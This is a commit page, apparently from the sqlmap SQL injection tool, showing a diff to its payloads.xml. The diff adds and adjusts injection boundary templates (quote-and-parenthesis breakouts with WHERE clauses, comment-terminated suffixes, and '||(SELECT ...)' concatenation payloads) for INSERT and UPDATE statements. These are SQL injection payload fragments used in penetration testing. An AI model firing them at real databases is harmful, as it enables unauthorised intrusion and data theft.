Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 049c27c

Browse files
committed
improved detection for INSERT and UPDATE statements
1 parent 11546cd commit 049c27c

1 file changed

Lines changed: 37 additions & 19 deletions

File tree

xml/payloads.xml

Lines changed: 37 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -451,21 +451,30 @@ Formats:
451451

452452
<!-- Pre-WHERE generic boundaries (e.g. "UPDATE table SET '$_REQUEST["name"]' WHERE id=1" or "INSERT INTO table VALUES('$_REQUEST["value"]') WHERE id=1)"-->
453453
<boundary>
454-
<level>4</level>
454+
<level>5</level>
455455
<clause>1</clause>
456456
<where>1,2</where>
457-
<ptype>1</ptype>
458-
<prefix>) WHERE [RANDNUM]=[RANDNUM]</prefix>
459-
<suffix></suffix>
457+
<ptype>2</ptype>
458+
<prefix>') WHERE [RANDNUM]=[RANDNUM]</prefix>
459+
<suffix>-- AND ('[RANDSTR]'='[RANDSTR]</suffix>
460460
</boundary>
461461

462462
<boundary>
463463
<level>5</level>
464464
<clause>1</clause>
465465
<where>1,2</where>
466466
<ptype>2</ptype>
467-
<prefix>') WHERE [RANDNUM]=[RANDNUM]</prefix>
468-
<suffix></suffix>
467+
<prefix>") WHERE [RANDNUM]=[RANDNUM]</prefix>
468+
<suffix>-- AND ("[RANDSTR]"="[RANDSTR]</suffix>
469+
</boundary>
470+
471+
<boundary>
472+
<level>4</level>
473+
<clause>1</clause>
474+
<where>1,2</where>
475+
<ptype>1</ptype>
476+
<prefix>) WHERE [RANDNUM]=[RANDNUM]</prefix>
477+
<suffix>-- AND ([RANDNUM1]=[RANDNUM1]</suffix>
469478
</boundary>
470479

471480
<boundary>
@@ -474,7 +483,7 @@ Formats:
474483
<where>1,2</where>
475484
<ptype>2</ptype>
476485
<prefix>' WHERE [RANDNUM]=[RANDNUM]</prefix>
477-
<suffix></suffix>
486+
<suffix>-- AND '[RANDSTR]'='[RANDSTR]</suffix>
478487
</boundary>
479488

480489
<boundary>
@@ -483,7 +492,16 @@ Formats:
483492
<where>1,2</where>
484493
<ptype>4</ptype>
485494
<prefix>" WHERE [RANDNUM]=[RANDNUM]</prefix>
486-
<suffix></suffix>
495+
<suffix>-- AND "[RANDSTR]"="[RANDSTR]</suffix>
496+
</boundary>
497+
498+
<boundary>
499+
<level>4</level>
500+
<clause>1</clause>
501+
<where>1,2</where>
502+
<ptype>1</ptype>
503+
<prefix> WHERE [RANDNUM]=[RANDNUM]</prefix>
504+
<suffix>-- AND [RANDNUM1]=[RANDNUM1]</suffix>
487505
</boundary>
488506
<!-- End of pre-WHERE generic boundaries -->
489507

@@ -493,43 +511,43 @@ Formats:
493511
<clause>1</clause>
494512
<where>1</where>
495513
<ptype>2</ptype>
496-
<prefix> || (SELECT [RANDNUM1] FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
497-
<suffix>) ||</suffix>
514+
<prefix>||(SELECT [RANDNUM1] FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
515+
<suffix>)||</suffix>
498516
</boundary>
499517

500518
<boundary>
501519
<level>5</level>
502520
<clause>1</clause>
503521
<where>1</where>
504522
<ptype>2</ptype>
505-
<prefix>|| (SELECT [RANDNUM1] WHERE [RANDNUM]=[RANDNUM]</prefix>
506-
<suffix>) ||</suffix>
523+
<prefix>||(SELECT [RANDNUM1] WHERE [RANDNUM]=[RANDNUM]</prefix>
524+
<suffix>)||</suffix>
507525
</boundary>
508526

509527
<boundary>
510528
<level>5</level>
511529
<clause>1</clause>
512530
<where>1</where>
513531
<ptype>2</ptype>
514-
<prefix>' || (SELECT [RANDNUM1] FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
515-
<suffix>) || '</suffix>
532+
<prefix>'||(SELECT [RANDNUM1] FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
533+
<suffix>)||'</suffix>
516534
</boundary>
517535

518536
<boundary>
519537
<level>5</level>
520538
<clause>1</clause>
521539
<where>1</where>
522540
<ptype>2</ptype>
523-
<prefix>' || (SELECT [RANDNUM1] WHERE [RANDNUM]=[RANDNUM]</prefix>
524-
<suffix>) || '</suffix>
541+
<prefix>'||(SELECT [RANDNUM1] WHERE [RANDNUM]=[RANDNUM]</prefix>
542+
<suffix>)||'</suffix>
525543
</boundary>
526544

527545
<boundary>
528546
<level>5</level>
529547
<clause>1</clause>
530548
<where>1</where>
531549
<ptype>1</ptype>
532-
<prefix> + (SELECT [RANDNUM1] WHERE [RANDNUM]=[RANDNUM]</prefix>
550+
<prefix>+(SELECT [RANDNUM1] WHERE [RANDNUM]=[RANDNUM]</prefix>
533551
<suffix>)</suffix>
534552
</boundary>
535553

@@ -538,8 +556,8 @@ Formats:
538556
<clause>1</clause>
539557
<where>1</where>
540558
<ptype>2</ptype>
541-
<prefix>' + (SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
542-
<suffix>) + '</suffix>
559+
<prefix>'+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
560+
<suffix>)+'</suffix>
543561
</boundary>
544562
<!-- End of INSERT/UPDATE generic boundaries -->
545563

0 commit comments

Comments
 (0)